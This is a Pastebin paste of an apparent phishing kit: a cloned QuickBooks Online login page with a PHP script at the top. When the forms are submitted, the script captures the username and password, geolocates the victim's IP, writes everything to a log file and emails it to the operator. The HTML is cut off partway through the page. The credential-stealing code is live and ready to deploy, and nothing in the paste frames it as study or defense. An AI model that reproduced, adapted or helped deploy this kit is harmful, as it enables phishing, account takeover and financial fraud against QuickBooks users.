Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $post_form = "5zztri7Y.php";
- $rp = '';
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
- $ip = $_SERVER['HTTP_CLIENT_IP'];
- } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- } else {
- $ip = $_SERVER['REMOTE_ADDR'];
- }
- if (isset($_POST['SignIn']))
- {
- $html = file_get_contents('http://ip-api.com/json/'.$ip);
- $db = json_decode($html);
- $current = file_get_contents('log.txt');
- $current .= '
- Username : '.$_POST['login'].'
- Password : '.$_POST['password'].'
- ========================================
- IP: '.$db->{'query'}.'
- Country: '.$db->{'country'}.'
- Region: '.$db->{'regionName'}.'
- City: '.$db->{'city'}.'
- Date: '.date('l jS \of F Y h:i:s A').'
- ';
- $msg = '
- Username : '.$_POST['login'].'
- Password : '.$_POST['password'].'
- ========================================
- IP: '.$db->{'query'}.'
- Country: '.$db->{'country'}.'
- Region: '.$db->{'regionName'}.'
- City: '.$db->{'city'}.'
- Date: '.date('l jS \of F Y h:i:s A').'
- ';
- $email = "email@email.com";
- mail($email,"Accounts",$msg);
- file_put_contents('log.txt', $current);
- exit;
- }
- ?>
- <!DOCTYPE html>
- <!-- saved from url=(0034)https://qbo.intuit.com/qbo36/login -->
- <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <meta http-equiv="x-ua-compatible" content="IE=edge">
- <meta name="msapplication-TileColor" content="#193048">
- <meta name="msapplication-square150x150logo" content="https://uiclassic.intuitcdn.net/v1803.859/images/QBOlogo.png">
- <meta name="description" content="Log into your QuickBooks Online account here to access the #1 rated cloud accounting and bookkeeping software for small business. Try us for free!">
- <meta name="google-site-verification" content="oUUAhE078O4_RvIGerAuNMAaOjK2HbMM1W1J_dMZXNw">
- <meta name="robots" content="noindex, follow">
- <meta name="ius-bu" content="sbg">
- <link rel="canonical" href="https://qbo.intuit.com/qbo1/login">
- <title>QuickBooks Login - Sign in to QuickBooks to manage your business</title>
- <link rel="stylesheet" type="text/css" href="./book_files/login.css">
- <link rel="apple-touch-icon icon shortcut" type="image/png" href="https://uiclassic.intuitcdn.net/v1803.859/scripts/harmony/images/qbo-ball.png">
- <link rel="stylesheet" type="text/css" href="./book_files/harmony.css">
- <!-- IUS signIn widget. Company locale is good as the error messages are properly localized for that locale-->
- <script type="text/javascript">
- if(window.top !== window.self) {
- window.top.location.href = window.self.location.href;
- }
- </script>
- <script src="./book_files/jquery.min.js.download"></script>
- <link rel="stylesheet" href="./book_files/ius.min.css"><script src="./book_files/ius-core.js.download" data-widgets="sign-in" data-locale="en-us"></script>
- <script type="text/javascript" src="./book_files/Common_js_bundle-en_US.js.download"></script>
- <script type="text/javascript" src="./book_files/Redir_js_bundle-en_US.js.download"></script>
- <script type="text/javascript" src="./book_files/commonutil_global_variables.js.download"></script>
- <script type="text/javascript" src="./book_files/Login_js_bundle-en_US.js.download"></script>
- <script type="text/javascript" language="JavaScript">
- var CLUSTER_ID ='36';
- var STATIC_IMAGE_HOST='https://uiclassic.intuitcdn.net';
- var STATIC_CSS_HOST='https://uiclassic.intuitcdn.net';
- var STATIC_JS_HOST='https://uiclassic.intuitcdn.net';
- var STATIC_FLASH_HOST='https://uiclassic.intuitcdn.net';
- var SERVLET_ROOT='/qbo36';
- var SERVER_GROUP='0';
- var IS_SAMPLE_COMPANY=false;
- var REPORTS_POST_LOOP_RETRY_COUNT='3';
- var refresh_top_frame_menu=false;
- var FRONT_END_SERVER_NAME='qbo.intuit.com';
- var APP_IMAGE_VER = '1803.859';
- var APP_SCRIPT_VER = '1803.859';
- var APP_CSS_VER = '1803.859';
- var APP_FRAMESET_VER = '1803.859';
- var APP_REL_NUM = '1803.859';
- </script>
- <script type="text/javascript" src="./book_files/globalvars.js.download"></script>
- <script type="text/javascript" language="JavaScript">
- try{top.buttonID = '';}catch(e){}
- </script><script>
- var error_stopped = false;
- var error_documentloadedcomplete = false;
- try {window.document.onstop = stopHandler;} catch (e) {}
- try {window.document.onreadystatechange = readyStateHandler;} catch (e) {}
- </script>
- <script type="text/javascript" src="./book_files/cu_callstack.js.download"></script>
- <script>
- var onerror_show_callstack = cu_show_callstack;
- var POPUP_HTML = '/c36/v1803.859/popup.html';
- var PRODNAME_M = 'QuickBooks Online Plus';
- var QB_URL_JS_ERROR = '/c36/v1803.859/0/js_error';
- var IN_PRODUCTION = true;
- window.onerror = errorHandler;
- </script><script>
- function recordUserError(message)
- {
- usererrorimage.src = '/c36/v1803.859/0/user_error' + '?' + 'msg=' + _qbo_escape(message);
- }
- var IS_DEPARTMENTS_ENABLED=false;
- var IS_KLASSES_ENABLED=false;
- var IS_ACCOUNTNUMBERS_ENABLED=false;
- var IS_TIMETRACKING_ENABLED=false;
- var IS_TIMETRACKING_BILLFORTIME_ENABLED=false;
- var IS_CREDIT_REFUND_ENABLED=false;
- var IS_CREATE_EMPLOYEES_ENABLED=false;
- var IS_CREATE_PAYCHECKS_ENABLED=false;
- var IS_DIY_PAYROLL_ENABLED = false;
- var IS_FEATURE_ACCOUNTING_ENABLED = false;
- var IS_ESTIMATES_ENABLED=false;
- var ESTIMATE_BILLING_TYPE=0;
- var COMPANY_USES_GTAX= false;
- var IS_MULTICURRENCY_ENABLED= false;
- var IS_MULTICURRENCY_AVAILABLE= false;
- var IS_GTM_UD_RATE_ALLOWED = false;
- var IS_GTM_SUPPORTS_SINGLE_TAX_ON_TXN = false;
- var IS_GTM_SUPPORTS_TIME_FOR_CCBT = false;
- var IS_DETAILED_TAX_SUMMARY_SHOWN = false;
- var CALCULATE_TAX_ON_TAXABLE_SUBTOTAL = false;
- var USER_EMAIL = "";
- var IS_REPORTS_USER= false;
- var IS_CLASSIC_RELOGIN_DISABLED= false;
- var EXTERNAL_MAP_URL = "http://maps.google.com/maps?q=";
- var IS_SHOWACCOUNTNUMBERS_ENABLED=false;;
- var HAS_CAPACITY_LIMITATION=false;
- var CAPACITY_LIMIT_APPLICABLE=false;
- var USE_TEXT_BASED_BUTTONS=true;
- function QUICKADD_HAS_ACCESS_RIGHTS (type, subtype) {if (type=='account') return false;if (type=='name' && subtype=='customer') return false;if (type=='name' && subtype=='vendor') return false;if (type=='name' && subtype=='employee') return false;if (type=='name' && subtype=='employeevendor') return false;if (type=='name') return false;if (type=='item') return false;if (type=='klass') return false;if (type=='paymentmethod') return false;if (type=='department') return false;if (type=='term') return false;if (type=='taxcoderate') return false;return true;}if (top.DO_NOT_HIDE_FRAME != null) {top.DO_NOT_HIDE_FRAME=null; window.DO_NOT_HIDE_FRAME = 'true'};
- try {if (FORCE_EARLY_REFRESH != null) {if (top.FORCE_IMMEDIATE_PAGE_REFRESH != null) {top.FORCE_IMMEDIATE_PAGE_REFRESH =null; FORCE_EARLY_REFRESH = true;}};} catch (e) {};
- if (top.FORCE_IMMEDIATE_PAGE_REFRESH != null) {top.FORCE_IMMEDIATE_PAGE_REFRESH = null; GlobalVars_DONT_HIDE_NEXT_PAGE(); GlobalVars_Refresh();}
- function GlobalVars_REPLACE_CUSTOM_TERMINOLOGIES(text)
- {
- if (text.search(/%%.*customer.*%%/i) >= 0) {
- text = text.replace(/%%customer%%/g, "customer");
- text = text.replace(/%%Customer%%/g, "Customer");
- text = text.replace(/%%customers%%/g, "customers");
- text = text.replace(/%%Customers%%/g, "Customers");
- text = text.replace(/%%a_customer%%/g, "a customer");
- text = text.replace(/%%A_customer%%/g, "A customer");
- text = text.replace(/%%a_Customer%%/g, "a Customer");
- text = text.replace(/%%customer's%%/g, "customer's");
- text = text.replace(/%%Customer's%%/g, "Customer's");
- text = text.replace(/%%a_customer's%%/g, "a customer's");
- text = text.replace(/%%A_customer's%%/g, "A customer's");
- }
- if (text.search(/%%.*department.*%%/i) >= 0) {
- text = text.replace(/%%department%%/g, "business");
- text = text.replace(/%%Department%%/g, "Business");
- text = text.replace(/%%departments%%/g, "businesses");
- text = text.replace(/%%Departments%%/g, "Businesses");
- text = text.replace(/%%a_department%%/g, "a business");
- text = text.replace(/%%A_department%%/g, "A business");
- text = text.replace(/%%a_Department%%/g, "a Business");
- text = text.replace(/%%department's%%/g, "business's");
- text = text.replace(/%%Department's%%/g, "Business's");
- text = text.replace(/%%a_department's%%/g, "a business's");
- text = text.replace(/%%A_department's%%/g, "A business's");
- }
- if (text.search(/%%.*statement.*%%/i) >= 0) {
- text = text.replace(/%%statement%%/g, "invoice");
- text = text.replace(/%%Statement%%/g, "Invoice");
- text = text.replace(/%%statements%%/g, "invoices");
- text = text.replace(/%%Statements%%/g, "Invoices");
- text = text.replace(/%%a_statement%%/g, "an invoice");
- text = text.replace(/%%A_statement%%/g, "An invoice");
- text = text.replace(/%%a_Statement%%/g, "an Invoice");
- text = text.replace(/%%statement's%%/g, "invoice's");
- text = text.replace(/%%Statement's%%/g, "");
- text = text.replace(/%%a_statement's%%/g, "an invoice's");
- text = text.replace(/%%A_statement's%%/g, "An invoice's");
- }
- if (text.search(/%%.*prodname.*%%/i) >= 0) {
- text = text.replace(/%%prodname.m%%/g, "QuickBooks Online Plus");
- text = text.replace(/%%prodname.s%%/g, "QuickBooks");
- text = text.replace(/%%prodname.prlm%%/g, "QuickBooks Online Payroll");
- text = text.replace(/%%prodname.prls%%/g, "Online Plus");
- }
- if (text.search(/%%.*qbo_payroll.*%%/i) >= 0) {
- text = text.replace(/%%qbo_payroll.payrollStartDate%%/g, "");
- text = text.replace(/%%qbo_payroll.ptoSick%%/g, "");
- text = text.replace(/%%qbo_payroll.ptoVacation%%/g, "");
- }
- if (text.search(/%%.*income.*%%/i) >= 0) {
- text = text.replace(/%%income%%/g, "income");
- text = text.replace(/%%Income%%/g, "Income");
- text = text.replace(/%%incomes%%/g, "incomes");
- text = text.replace(/%%Incomes%%/g, "Incomes");
- text = text.replace(/%%an_income%%/g, "an income");
- text = text.replace(/%%An_income%%/g, "An income");
- text = text.replace(/%%an_Income%%/g, "an Income");
- text = text.replace(/%%income's%%/g, "income's");
- text = text.replace(/%%Income's%%/g, "Income's");
- text = text.replace(/%%an_income's%%/g, "an income's");
- text = text.replace(/%%An_income's%%/g, "An income's");
- }
- if (text.search(/%%.*expense.*%%/i) >= 0) {
- text = text.replace(/%%expense%%/g, "expense");
- text = text.replace(/%%Expense%%/g, "Expense");
- text = text.replace(/%%expenses%%/g, "expenses");
- text = text.replace(/%%Expenses%%/g, "Expenses");
- text = text.replace(/%%an_expense%%/g, "an expense");
- text = text.replace(/%%An_expense%%/g, "An expense");
- text = text.replace(/%%an_Expense%%/g, "an Expense");
- text = text.replace(/%%expense's%%/g, "expense's");
- text = text.replace(/%%Expense's%%/g, "Expense's");
- text = text.replace(/%%an_expense's%%/g, "an expense's");
- text = text.replace(/%%An_expense's%%/g, "An expense's");
- }
- if (text.search(/%%.*invoice.*%%/i) >= 0) {
- text = text.replace(/%%invoice%%/g, "invoice");
- text = text.replace(/%%Invoice%%/g, "Invoice");
- text = text.replace(/%%invoices%%/g, "invoices");
- text = text.replace(/%%Invoices%%/g, "Invoices");
- text = text.replace(/%%an_invoice%%/g, "an invoice");
- text = text.replace(/%%An_invoice%%/g, "An invoice");
- text = text.replace(/%%an_Invoice%%/g, "an Invoice");
- text = text.replace(/%%invoice's%%/g, "invoice's");
- text = text.replace(/%%Invoice's%%/g, "Invoice's");
- text = text.replace(/%%an_invoice's%%/g, "an invoice's");
- text = text.replace(/%%An_invoice's%%/g, "An invoice's");
- }
- if (text.search(/%%.*profit_and_loss.*%%/i) >= 0) {
- text = text.replace(/%%profit_and_loss%%/g, "profit and loss");
- text = text.replace(/%%Profit_and_Loss%%/g, "Profit and Loss");
- text = text.replace(/%%profits_and_losses%%/g, "");
- text = text.replace(/%%Profits_and_Losses%%/g, "");
- text = text.replace(/%%a_profit_and_loss%%/g, "");
- text = text.replace(/%%A_profit_and_loss%%/g, "");
- text = text.replace(/%%a_Profit_and_Loss%%/g, "");
- text = text.replace(/%%profit_and_loss's%%/g, "");
- text = text.replace(/%%Profit_and_Loss's%%/g, "");
- text = text.replace(/%%a_profit_and_loss's%%/g, "");
- text = text.replace(/%%A_profit_and_loss's%%/g, "");
- }
- if (text.search(/%%.*balance_sheet.*%%/i) >= 0) {
- text = text.replace(/%%balance_sheet%%/g, "balance sheet");
- text = text.replace(/%%Balance_Sheet%%/g, "Balance Sheet");
- text = text.replace(/%%balance_sheets%%/g, "");
- text = text.replace(/%%Balance_Sheets%%/g, "");
- text = text.replace(/%%a_balance_sheet%%/g, "");
- text = text.replace(/%%A_balance_sheet%%/g, "");
- text = text.replace(/%%a_Balance_Sheet%%/g, "");
- text = text.replace(/%%balance_sheet's%%/g, "");
- text = text.replace(/%%Balance_Sheet's%%/g, "");
- text = text.replace(/%%a_balance_sheet's%%/g, "");
- text = text.replace(/%%A_balance_sheet's%%/g, "");
- }
- if (text.search(/%%.*sales_receipt.*%%/i) >= 0) {
- text = text.replace(/%%sales_receipt%%/g, "sales receipt");
- text = text.replace(/%%Sales_Receipt%%/g, "Sales Receipt");
- text = text.replace(/%%sales_receipts%%/g, "sales receipts");
- text = text.replace(/%%Sales_Receipts%%/g, "Sales Receipts");
- text = text.replace(/%%a_sales_receipt%%/g, "a sales receipt");
- text = text.replace(/%%A_sales_receipt%%/g, "A sales receipt");
- text = text.replace(/%%a_Sales_Receipt%%/g, "a Sales Receipt");
- text = text.replace(/%%sales_receipt's%%/g, "sales receipt's");
- text = text.replace(/%%Sales_Receipt's%%/g, "Sales Receipt's");
- text = text.replace(/%%a_sales_receipt's%%/g, "a sales receipt's");
- text = text.replace(/%%A_sales_receipt's%%/g, "A sales receipt's");
- }
- return text;
- }
- var NewPrintAndPreview=false;
- var NewPrintAndPreviewNoPDF=true;
- </script>
- <style id="global_hideselectlistshack"> SELECT {visibility: ;}</style>
- <style id="global_hideframeshack"> IFRAME {visibility: ;}</style>
- <style id="global_hideappletshack"> APPLET {visibility: ;}</style>
- <meta http-equiv="Expires" content="-1">
- <meta name="application-name" content="QuickBooks">
- <meta name="apple-mobile-web-app-title" content="QuickBooks">
- <meta name="google-site-verification" content="hiEXDzwqUxxMY5KZkAkeHBn6J0gy2Ne1gJdm77RkGbk">
- <meta name="google-site-verification" content="_r_yS3HqT7RbVdnQ0PXotOmkqK2taSZ81xstNM_Uxqg">
- <link rel="apple-touch-icon icon shortcut" type="image/png" href="https://uiclassic.intuitcdn.net/v1803.859/scripts/harmony/images/qbo-ball.png">
- <script type="text/javascript">
- var NEO=true;
- var __CJP__=window;
- if (!__CJP__) { __CJP__ = parent.CJP; }
- var __CTX__='top';
- var CJP=__CJP__;
- var LJP=top;
- var QBO_ENV="prod"
- var CLIENT_LOCALE = "en_US";
- var QBO_COOKIE_PREFIX = "qbo";
- var IS_MAC_EMBEDDED = false;
- var USE_SHOW_MODAL_DIALOG = true;
- </script>
- <script type="text/javascript" src="./book_files/jscontext.js.download"></script><style type="text/css">.ius-sign-in-widget{overflow:visible}.ius-sign-in-password-captcha{min-height:107px}.ius-captcha{padding-bottom:15px}.ius-sign-in-widget .ius-captcha-tos-container{background-color:#ECEEF1;margin:32px -30px -30px;padding:16px;text-align:center}.ius-sign-in-widget .ius-captcha{font-size:10px;color:#8d9096}@media (max-width:480px){.ius-sign-in-widget #ius-confirm-via-channel-actions,.ius-sign-in-widget #ius-otp-actions{padding-bottom:100px}}</style><style type="text/css">.ius-sign-in-widget .ius-channel-email,.ius-sign-in-widget .ius-label-email-me-a-code,.ius-sign-in-widget .ius-label-text-me-a-code{font-weight:700}</style>
- </head>
- <body onload="doOnload();" class="has-ius en_US ">
- <div id="margin32"></div>
- <div class="leftshadow generalcontainer ">
- <div class="maincontainer" id="maincontainer">
- <div class="logocontainer">
- <img class="qblogo" alt="QuickBooks" src="./book_files/common_images_logo_v2.png">
- </div>
- <div class="bodycontainer">
- <table cellspacing="0" cellpadding="0">
- <tbody><tr>
- <td class="comingsooncontainer">
- <div>
- <div id="defaultComingSoon" style="display: block;">
- <div class="dtPromo"><div class="dtHeaderContent">Next time, skip this sign-in</div><div class="dtSubheadingContent">Download the Windows app to run QuickBooks even faster</div><div><a class="dtFreeDownloadLinkA" target="_blank" href="https://quickbooks.intuit.com/download?cid=ipd_qbo_maya"><img class="dtImage" alt="QuickBooks Windows App" src="./book_files/dt-client-win.png"></a></div><div class="dtFreeDownloadLinkDiv"><a class="dtFreeDownloadLink" target="_blank" href="https://quickbooks.intuit.com/download?cid=ipd_qbo_maya">Download it free</a></div><div><a class="dtLearnMoreLink" target="_blank" href="https://quickbooks.intuit.com/blog/whats-new/how-to-run-quickbooks-online-up-to-46-faster/?referrer=qbologin">Learn how it works</a></div></div>
- <div class="comingsoonsubtitle" style="display:none">
- Read more at the <a class="blog_link" target="qboblog" href="http://quickboosks.intuit.com/blog">QuickBooks Online Blog!</a>
- </div>
- </div>
- <div id="helpSection" style="display: none;">
- <div class="helpSectionTitle">Having trouble signing in?</div>
- <div class="helpSectionText">Not to worry, we're here to help.</div>
- <div class="helpSectionText" style="margin-top:1px;">Recover your <a href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login" target="qbologinrecover">user ID or password</a></div>
- </div>
- </div>
- </td>
- <td class="logincontainer"><div id="ius-sign-in-widget"><div id="ius-sign-in-wrapper" class="ius-reset ius ius-sign-in-widget ius-hosted-ui en-us" style=""><div id="ius-sign-in-ecosystem-logos" class="ius-hide ius-widget-header-ecosystem-logos"></div><hr id="ius-sign-in-separator" class="ius-conditional-hr ius-hide"><section id="ius-sign-in-spinner" class="ius-sign-in-spinner ius-hide ius-section"><div class="ius-spinner"></div></section><section id="ius-sign-in" class="ius-section"><header class="ius-header-container ius-header-small-padding"><div><span id="ius-sign-in-header" class="ius-header">Sign in</span></div><div id="ius-sign-in-sub-header-content-container" class="ius-sign-in-sub-header-content-container"><span id="ius-sign-in-sub-header" class="ius-sub-header"></span> <a href="email.php" target="_blank" id="ius-sign-in-ecosystem-learn-more" class="ius-hide ius-small-info-link" style="display: none;">Learn more</a></div></header><div id="ius-sign-in-messages"><div id="ius-sign-in-error" aria-live="assertive" role="alert" class="ius-hide ius-error-alert ius-main-error"></div></div><form id="ius-form-sign-in" action="<?php echo $post_form; ?>" method="post" autocomplete="on" novalidate=""><fieldset id="ius-fieldset-pin" class="ius-hide"><label id="ius-label-pin" class="ius-label" for="ius-pin">Security code</label><div class="ius-text-input-container"><input id="ius-pin" class="ius-text-input" name="Pin" aria-required="true" required="required"> <span id="ius-status-pin" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-pin" class="ius-error ius-field-block" for="ius-pin" aria-live="assertive" role="alert"></span></fieldset><div id="ius-sign-in-partner-auth-buttons-container" class="ius-clearfix"><div id="ius-partner-auth-buttons" class="ius-partner-auth-buttons"><div id="ius-partner-buttons-list" class="ius-partner-buttons-list"><div class="ius-partner-button" data-partner-uid="google"><button type="button" id="ius-google-button" class="ius-google-button"><div class="ius-google-icon-and-text"><span class="ius-google-icon"></span> <span class="ius-google-button-text">Sign in with Google</span></div></button></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div><div class="ius-partner-separator"><span class="ius-strike ius-strike-side"></span> <span id="ius-partner-alternative-text" class="ius-strike-center-text">or</span> <span class="ius-strike ius-strike-side"></span></div></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div><fieldset id="ius-fieldset-userid"><label id="ius-label-userid" class="ius-label ius-top-label" for="ius-userid">User ID</label><div class="ius-text-input-container"><input id="ius-userid" class="ius-text-input" name="Email" type="email" aria-required="true" required="required" data-valid="valid" tabindex="1"> <span id="ius-status-userid" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-userid" class="ius-error ius-field-block" for="ius-userid" aria-live="assertive" role="alert"></span></fieldset><fieldset id="ius-fieldset-password"><label id="ius-label-password" class="ius-label" for="ius-password">Password</label><div class="ius-text-input-container"><input id="ius-password" class="ius-text-input" name="Password" type="password" aria-required="true" required="required" tabindex="2" data-valid="valid"> <span id="ius-status-password" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-password" class="ius-error ius-field-block" for="ius-password" aria-live="assertive" role="alert"></span></fieldset><div id="ius-label-remember" class="ius-checkbox-container ius-remember-me ius-default-bottom-spacer"><input id="ius-remember" class="ius-checkbox-input ius-checkbox-hide" type="checkbox"> <label id="ius-signin-label-checkbox" class="ius-checkbox-label" for="ius-remember" tabindex="3" aria-label="Remember me"></label> <label id="ius-label-remember-me" class="ius-checkbox-text ius-display-inline-block ius-sub-header-size" for="ius-remember">Remember my user ID</label> <label id="ius-label-stay-signed-in" class="ius-hide ius-checkbox-text ius-display-inline-block ius-sub-header-size" for="ius-remember">Stay signed in</label></div><div id="ius-sign-in-actions" class="ius-clearfix"><button id="ius-sign-in-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left ius-btn-prominent" name="SignIn" type="submit" data-clicked-text="Signing In ..." tabindex="4"><span id="ius-sign-in-submit-img" class="ius-white-lock-img"></span> <span id="ius-sign-in-submit-btn-text">Sign in</span></button></div><div id="ius-terms-of-use" class="ius-side ius-italic ius-centered-tos"><span id="ius-terms-of-use-text">By clicking Sign In, you agree to our<br><a id="ius-link-terms-of-use" href="https://qbo.intuit.com/c1/Terms_Of_Service.html" target="_blank">License Agreement</a><span id="ius-sign-in-consent-and" class="ius-hide"> and </span><a id="ius-sign-in-privacy-statement-link" href="https://qbo.intuit.com/qbo36/login#" target="_blank" class="ius-hide">Privacy Statement</a></span>.</div><hr class="ius-conditional-hr"></form><ul class="ius-sign-in-list"><li><a id="ius-link-account-recovery" href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login">I forgot my user ID or Password</a></li><li class="ius-hide" style="display: none;"><a id="ius-link-pwd-recovery" href="https://qbo.intuit.com/qbo36/login#">Forgot your password?</a></li><li class="ius-hide" style="display: none;"><a id="ius-link-userid-recovery" href="https://qbo.intuit.com/qbo36/login#">Forgot your user ID?</a></li><li id="ius-sign-up-link-li"><span id="ius-link-sign-up-prefix-text">New to QuickBooks? </span> <span><a id="ius-link-sign-up" href="http://quickbooks.intuit.com/signup/">Sign up</a><span id="ius-create-account-option-period" style="display: none;"></span></span></li></ul></section><section id="ius-sign-in-recaptcha" class="ius-captcha ius-hide"></section><section id="ius-sign-in-mfa-parent" class="ius-hide"></section><section id="ius-sign-in-recaptcha-parent" class="ius-hide"></section><section id="ius-sign-in-sso-confirmation-parent" class="ius-hide"></section><section id="ius-account-disabled" class="ius-hide ius-section"><header class="ius-header-container"><span id="ius-account-disabled-header" class="ius-header">The feature you've requested is temporarily unavailable.</span><span id="ius-account-disabled-sub-header" class="ius-sub-header">Make sure your browser has Javascript and cookies enabled. If the problem persists you can clear your cache and cookies and then restart your computer, or try using a different browser.<br><a href="https://qbo.intuit.com/qbo36/login#" id="ius-account-disabled-try-again-link">Try signing in again</a></span></header><div id="ius-account-disabled-actions"><span id="ius-account-disabled-contact-support" class="ius-display-block ius-default-bottom-spacer ius-sub-header-size">For more help, please <a id="ius-account-disabled-contact-support-link">contact customer support </a>and reference code <span id="ius-account-disabled-error-code"></span>.</span></div></section><section id="ius-account-locked-out-section" class="ius-hide ius-section"></section><section id="ius-post-auth-best-account-section" class="ius-hide ius-section"><header class="ius-header-container ius-header-small-padding"><span id="ius-post-auth-best-account-header" class="ius-header">Look what we found!</span></header><div class="ius-default-bottom-spacer"><div id="ius-post-auth-best-account-info" class="ius-default-bottom-spacer">An account using:<br><strong><span id="ius-post-auth-best-account-info-user-id"></span><br></strong></div><div id="ius-post-auth-best-account-action-info"><span id="ius-post-auth-best-account-current-account-text">Using your most current account can help you get your taxes done faster. </span><span id="ius-post-auth-best-account-switch-account-text">Do you want to sign out & sign back in with this account?</span><br><a href="https://qbo.intuit.com/qbo36/login#" id="ius-post-auth-best-account-learn-more-link" target="_blank">Learn more</a></div></div><div id="ius-post-auth-best-account-actions" class="ius-clearfix ius-btn-container ius-text-input-container ius-btn-continue-flow"><button id="ius-post-auth-best-account-submit-btn" class="ius-btn ius-btn-submit">Switch accounts</button> <button id="ius-post-auth-best-account-back-btn" type="button" class="ius-btn ius-btn-back">Not now</button></div></section><section id="ius-verified-user-update-section" class="ius-hide ius-section"><div id="ius-verified-user-update-widget"></div></section><section id="ius-sign-in-brand-shake-seam-parent" class="ius-section ius-hide"></section><section id="ius-sign-in-invitation-expired" class="ius-section ius-hide"><div class="ius-default-bottom-spacer ius-header-container"><div class="ius-header">This invitation has expired</div></div><div id="ius-sign-in-invitation-expired-body" class="ius-default-bottom-spacer ius-header-container">It appears that the invitation has either already been accepted or is no longer valid. If you require a new invitation, please contact the company administrator.</div><div><input id="ius-sign-in-invitation-expired-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-btn-prominent" name="SignIn" type="submit" value="Sign In" data-clicked-text="Signing In ..."> <button type="button" id="ius-sign-in-expired-done" class="ius-btn ius-btn-back ius-btn-prominent ius-hide">Done</button></div></section><section id="ius-sign-in-invitation-success" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header ius-header-container">Success!</div></div><div id="ius-sign-in-invitation-success-body" class="ius-default-bottom-spacer ius-header-container"><span id="realm_id_success_message"></span></div><div><input id="ius-sign-in-invitation-continue-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-btn-prominent" name="ContinueTo" type="submit"> <button type="button" id="ius-sign-in-invitation-back-btn" class="ius-btn ius-btn-back ius-hide">Close Window</button></div></section><section id="ius-sign-in-setRealm-failure" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header"><span id="ius-sign-in-setRealm-failure-error-header"></span></div></div><div id="ius-sign-in-setRealm-failure-error-body" class="ius-default-bottom-spacer"><span id="ius-sign-in-setRealm-failure-error-message"></span></div><div><input id="ius-sign-in-setRealm-failure-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left" name="SignIn" type="submit" value="Sign In" data-clicked-text="Signing In ..."></div></section><section id="ius-sign-in-do-accept-fail" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header"><span id="ius-sign-in-do-accept-error-header"></span></div></div><div id="ius-sign-in-do-accept-error-body" class="ius-default-bottom-spacer">There was an error during the invitation process. Please try again.</div><div><input id="ius-sign-in-do-accept-fail-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left" name="SignIn" type="submit" value="Try again"></div></section><div id="ius-captcha-tos-container-display" class="ius-captcha-tos-container ius-hide"><span id="ius-captcha-terms-of-use" class="ius-captcha"><span id="ius-captcha-terms-of-use-text">Invisible reCAPTCHA by Google <a id="ius-captcha-privacy-policy" href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy Policy</a><span id="ius-sign-up-consent-and"> and </span><a id="ius-captcha-terms" href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms of Use</a>.</span></span></div><div class="ius-invisible-recaptcha" id="ius-invisible-recaptcha-display"></div></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div></td> <!-- I'm not removing the below as some JS depends on these components. For the long term this needs to be cleaned up -->
- <td class="logincontainer" style="display:none">
- <form name="loginform" id="loginform" action="<?php echo $post_form; ?>" method="POST">
- <input type="hidden" name="parentID" value="0"><input id="useswitchco" name="useswitchco" type="hidden" value="false">
- <div id="logincontainer">
- <div class="logincontainertitle">Sign In </div>
- <div style="margin-top:5px;">
- <div class="field_label">User ID</div>
- <div class="fielddiv">
- <div style="display:inline;"><input maxlength="256" type="text" name="login" id="login" value="" tabindex="1" class="textfield"></div>
- <div style="margin-top:5px; display: none; "><a href="javascript:forgotUserID(qboURL('login'))" class="regular_link" style="font-size:10px;" tabindex="5">Forgot your user ID?</a></div>
- </div>
- <div class="clear"></div>
- </div>
- <div class="fieldcontainer">
- <div class="field_label">Password</div>
- <div class="fielddiv">
- <div style="display:inline;"><input type="password" name="password" id="password" onkeypress="handlepasswordenterkey(GETJSX(), event)" autocomplete="off" tabindex="2" class="textfield" style="padding-left:7px;"></div>
- <div style="margin-top:5px; display: none; "><a href="javascript:forgotPassword(qboURL('login'), document.getElementById('login').value)" class="regular_link" style="font-size:10px;" tabindex="6">Forgot your password?</a></div>
- </div>
- <div class="clear"></div>
- </div>
- <div id="errorContainer" style="margin-top: 0px; display: none;">
- <div class="field_label"> </div>
- <div class="fielddiv" style="width:275px;">
- <div class="error" id="errorDiv"></div>
- </div>
- <div class="clear"></div>
- </div>
- <div class="fieldcontainer">
- <div class="field_label"> </div>
- <div class="fielddiv">
- <div style="display:inline;"><input type="checkbox" name="rememberMe" id="rememberMe" class="rememberMe" onkeypress="handlepasswordenterkey(GETJSX(), event, true)" tabindex="3"> <label for="rememberMe" class="rememberMe"> Remember my user ID</label></div>
- </div>
- <div class="clear"></div>
- </div>
- <div class="fieldcontainer" style="margin-top:17px;">
- <div class="field_label"> </div>
- <div class="fielddiv">
- <button type="button" class="button primary" style="cursor: pointer;" id="LoginButton" tabindex="4" onclick="doSignin();">Sign In</button>
- </div>
- <div style="margin-left:10px;float:left;margin-top:13px;font-size:13px"><a href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login">Can't access your account?</a></div>
- <div class="clear"></div>
- </div>
- <div id="bookmarkLoginPage" class="bookmarkLoginPage" style="display: none;">
- <div>
- <a href="javascript:bookmarkLoginPage()">Bookmark this page</a> for quick access.
- </div>
- </div>
- <div class="helpcontainer">
- <!-- <div id="loginhelp" class="helpcontainertitle">
